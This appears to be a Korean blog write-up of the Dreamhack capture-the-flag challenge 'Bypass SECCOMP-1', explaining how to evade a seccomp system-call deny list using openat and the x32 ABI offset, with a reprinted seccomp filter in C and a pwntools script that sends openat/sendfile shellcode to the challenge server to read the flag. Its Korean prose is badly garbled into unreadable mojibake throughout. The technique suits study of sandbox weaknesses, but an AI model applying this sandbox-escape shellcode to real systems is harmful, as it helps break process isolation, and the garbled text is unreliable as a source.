Bypass SECCOMP-1
Bypass SECCOMP-1
๋ฌธ์ ํ์ด
๋ณดํธ๊ธฐ๋ฒ์ ์ค์ํ ์ ๋๋ก NX์ PIE, FULL ELRO๊ฐ ์๋ ๋ชจ์ต
ASLR์ ๋น์ฐํ ๊ธฐ๋ณธ์ผ๋ก ๋์ด ์๊ฒ ๋ค์.. ใ
์ฐ๋ฆฌ๊ฐ ๋ฐฐ์ ๋ sendbox๊ฐ ์๋ ๋ชจ์ต seccomp๊ฐ ์นํ ๊ฑธ๋ ค์๋๊ตฐ์
์ฝ๊ธฐ, ์ฐ๊ธฐ, ์คํ ๊ถํ์ด ์๋ ํ์ด์ง๋ฅผ ํ ๋นํ๊ณ ์ด์ฉ์๋ก๋ถํฐ ์
๋ ฅ๋ ๊ฐ์ ์ฌ์ฉํ๋ค..
sendbox์ ํจ์์ allow์ ๋ฆฌ์คํธ๋ฅผ ๊ธฐ๋ฐํ๋ค๋ฉด execve์ open, write๊ฐ ์๋๋ค์..์ ๋ง์ ์ธ๋ฐ?
Exploit ์ค๊ณ
๊ฐ์ ๊ธฐ๋ฅ์ ํ๋ ์์คํ ์ฝ์ด ์๋์ง ํ์ธํด์ผํฉ๋๋ค. ์์คํ ์ฝ์ ๋ํ ์ ๋ณด๋ ์๋ ๋งํฌ์
Linux System Call Table for x86 64 · Ryan A. Chapman
Linux 4.7 (pulled from github.com/torvalds/linux on Jul 20 2016), x86_64 Note: 64-bit x86 uses syscall instead of interrupt 0x80. The result value will be in %rax To find the implementation of a system call, grep the kernel tree for SYSCALL_DEFINE.\?(sysca
blog.rchapman.org
open์ ํ์ผ์ ์ด๊ธฐ ์ํ ์์คํ
์ฝ๋ก, ์ด์ ๊ฐ์ ์ญํ ์ ์ํํ๋ openat ์์คํ
์ฝ์ด ์กด์ฌํ๋๊ตฐ์!
๋ ์์คํ
์ฝ์ ํ์ผ์ ์ด๊ณ ํ์ผ ๋์คํฌ๋ฆฝํฐ๋ฅผ ๋ฐํํ๋ ์ ์ ์ ์ฌํ๋
penat์ ์ ๋ฌ๋ ์ธ์์ธ dirfd๋ฅผ ์ฐธ์กฐํด ํด๋น ๊ฒฝ๋ก์์ ํ์ผ์ ์ฐพ์ต๋๋ค.
์์คํ ์ฝ์ ํธ์ถํ๊ธฐ ์ ์ ์์คํ ์ฝ์ ์ธ์๋ฅผ ํ์ธํด์ผํฉ๋๋ค.
์์ ๋งํฌ๋ฅผ ๋ณด์๋ฉด ์์ง๋ง, ๋๋ฒ์งธ ์ธ์์ธ filename์ด ์ ๋ ๊ฒฝ๋ก๋ก ๋ช
์๋์ด ์์ ๊ฒฝ์ฐ
์ฒซ ๋ฒ์งธ ์ธ์์ธ dird๊ฐ ๋ฌด์๋๋ค๋ ๋ด์ฉ์ด ์กด์ฌํฉ๋๋ค(์์ฐ)
๋ฐ๋ผ์ ํด๋น ์์คํ
์ฝ์ ๋ฒํธ๋ฅผ ์์๋ด๊ณ ๋ ๋ฒ์งธ ์ธ์์ ํ์ผ ๊ฒฝ๋ก ๋ฌธ์์ด์ ์ฃผ์๋ฅผ
์ ๋ฌํ๋ฉด ํ์ผ์ ๋ด์ฉ์ ์ฝ์ ์ ์์ต๋๋ค.
์ดํด๋์
จ๋ค๋ฉด ๋ฐ๋ก ์
ธ์ฝ๋๋ฅผ ์์ฑํด๋ณด๋ฉด
openat ํธ์ถ ์ ๋๋ฒ์งธ ์ธ์์ ์ ๋ ๊ฒฝ๋ก๋ก ์ฝ์ ํ์ผ๋ช
์ ์ฃผ์๋ฅผ ์ ๋ฌํ๊ณ , ์ด์ธ ์ธ์๋ฅผ NULL๋ก ์ด๊ธฐํ
์ธ์๋ฅผ ์ ์ ๋ฌํ๊ธฐ ์ํด ์ฝ๋ง ์ปจ๋ฒค์
์ ๋์ง์ด์ผํ๋๋ฐ ์ด์ ์ ๋ฐฐ์ ๊ธฐ์ ์ค๋ช
์ ๋์ด๊ฐ๊ฒ ์ต๋๋ค.
Dreamhack์์๋.. ์์ ๊ฐ์ด ์์ฑํ์์ต๋๋ค.. ์ ๋ shellcraft์์ ์ ๋ฐ์์ผ๋ก ์์ฉ์..
๋ฐฐ์ธ ๊ธธ์ด ๋ง๋ค์ ใ
ABI
seccomp lib ํจ์๋ฅผ ์ฌ์ฉํ ๋ฐ์ด๋๋ฆฌ์์ tools๋ก ํ์ธํด๋ณด๋ฉด ์ฝ๋์์ ์ ์ X ๋น๊ต ๊ตฌ๋ฌธ์ด ๋์ต๋๋ค.
๋ฐ๋ก 0x4000..
๊ทธ์ ์ ์ฝ๋๋ฅผ ๋ณด์๋ฉด ์์คํ
์ฝ์ ๋ฒํธ๋ฅผ ๋น๊ตํ๋ ๊ตฌ๋ฌธ์ด ์๋๋ฐ ์ฌ๊ธฐ์ ์๊ฒผ์ฃ
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172 // Name: secbpf_dlist.c// Compile: gcc -o secbpf_dlist secbpf_dlist.c#include <fcntl.h>#include <linux/audit.h>#include <linux/filter.h>#include <linux/seccomp.h>#include <linux/unistd.h>#include <stddef.h>#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <sys/prctl.h>#include <unistd.h>#define DENY_SYSCALL(name) \BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)#define syscall_nr (offsetof(struct seccomp_data, nr))#define arch_nr (offsetof(struct seccomp_data, arch))/* architecture x86_64 */#define ARCH_NR AUDIT_ARCH_X86_64int sandbox() {struct sock_filter filter[] = {/* Validate architecture. */BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),/* Get system call number. */BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),/* List allowed syscalls. */DENY_SYSCALL(open),DENY_SYSCALL(openat),MAINTAIN_PROCESS,};struct sock_fprog prog = {.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),.filter = filter,};if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {perror("prctl(PR_SET_NO_NEW_PRIVS)\n");return -1;}if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {perror("Seccomp filter error\n");return -1;}return 0;}int main(int argc, char* argv[]) {char buf[256];int fd;memset(buf, 0, sizeof(buf));sandbox();fd = open("/bin/sh", O_RDONLY);read(fd, buf, sizeof(buf) - 1);write(1, buf, sizeof(buf));return 0;}cs
๊ทธ๋ผ ๋ค์ํ ๋ถ๋ถ๊ณผ ๋น๊ตํ ํ ๋น๊ต ๊ตฌ๋ฌธ์ด ์ ์ถ๊ฐ๋์๊ณ ํด๋น ๋น๊ต๋ฌธ์ด
์๋ค๋ฉด ์ด๋ป๊ฒ ์ฐํํ ์ง ์์๋ด
์๋ค
x86๊ณผ x64์ ๋๊ฐ์ ABI๋ ๊ฐ์ ํ๋ก์ธ์์์ ๋์ํฉ๋๋ค. ๋ชจ๋ ์๋ฏ์ด x86-64์์๋
32bit ๋ช
๋ น์ด๊ฐ ํธํํ ์ ์์ต๋๋ค.
SECCOMP๋ฅผ ์ฌ์ฉํด๋ณด์๋ค๋ฉด ์ํคํ
์ฒ๋ฅผ ๋ช
์ํ ๋ AUDIT_ARCH_X86_64๋ผ๋ ์ด๋ฆ์ผ๋ก ์ ์๋
๋ฉํฌ๋ก๋ฅผ ์ฌ์ฉํ๋ค๊ณ ํฉ๋๋ค. ์ด๋ ๋ชจ๋ ์ํคํ
์ฒ๋ฅผ ์ผ์ปซ๋ ํ๋๋ช
์ด๊ณ ์
๊ทธ๋ฌ๋ ๋ ๊ฐ์ ABI๋ ๋ช
๋ฐฑํ ๋ค๋ฅธ ์ํคํ
์ฒ๋ก์จ ๊ตฌ๋ณ์ ์ํด ์์คํ
์ฝ ๋ฒํธ์ ํน์ ๊ฐ์ ๋ฃ๋๋ฐ
์ด ๊ฐ์ด 0x4000..์ด๋ค์
do_syscall_x64๋ ํธ์ถํ๋ ์์คํ
์ฝ ๋ฒํธ๊ฐ ์์คํ
์ฝ ๊ฐฏ์๋ฅผ ์ด๊ณผํ๋์ง
๋น๊ตํ๊ณ ์ด๊ณผํ์ง ์๋๋ค๋ฉด ์์คํ
์ฝ์ ํธ์ถ
์์คํ
์ฝ ๋ฒํธ๋ฅผ ์ฌ์ฉํด ํด๋น ๋งคํฌ๋ก์ ๊ฐ์ 0x40000...
Exploit
๊ธฐ๋ณธ์ ์ธ ์์๊ณผ ๋ฐฐ๊ฒฝ์ง์์ ์ง๊ณ ๋์ด๊ฐ์ผ๋ ๋ฐ๋ก ๋ถ์ ๋ฐ ์ค๊ณ๋ฅผ ํ๋ค๋ฉด..
์ฝ๋์์ ๋ณธ ๊ฒ๊ณผ ๊ฐ์ด write, open, execve, execveat๊ฐ ๋งํ์์ต๋๋ค.
์ฐ์ ์
ธ ์คํ์ ์ํด exec๊ณ์ด ํจ์๋ฅผ ์ฌ์ฉํ ๊น ์ถ์ง๋ง ๊ฒฐ๊ตญ execveํจ์๋ง syscall์ด๊ณ
๋๋จธ์ง ์ฌ๊ธฐ์ wrappingํ๋ ํจ์์ด๊ธฐ์ ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํฉ๋๋ค ใ
๊ทธ๋ฌ๋ฏ๋ก ๋ํ์ ์ผ๋ก openat์ด ์กด์ฌํ๋๋ฐ ์ด ํ์ผ์ 64๋ก ์ปดํ์ผ ๋ฌ์ง๋ง 32๋ก๋ ํธํ๊ฐ๋ฅํ์ !
์ด ์ฝ๋๋ฅผ ์ฐธ๊ณ ํ์ฌ ์ ธ์ ๋ฐ๋ ์ฝ๋๋ฅผ ์ค๊ณํ๋ค๋ฉด..
openat(int dfd, const char *filename, int flags, int mode)
openat(int dfd, const char *filename, int flags, int mode)
12345678910111213 from pwn import *#p = process('./bypass_syscall')p = remote('host3.dreamhack.games', 23626)context(arch='x86_64')payload = shellcraft.openat(0,'/home/bypass_syscall/flag')payload += shellcraft.sendfile(1, 'rax', 0, 100)p.sendlineafter(': ', asm(payload))p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง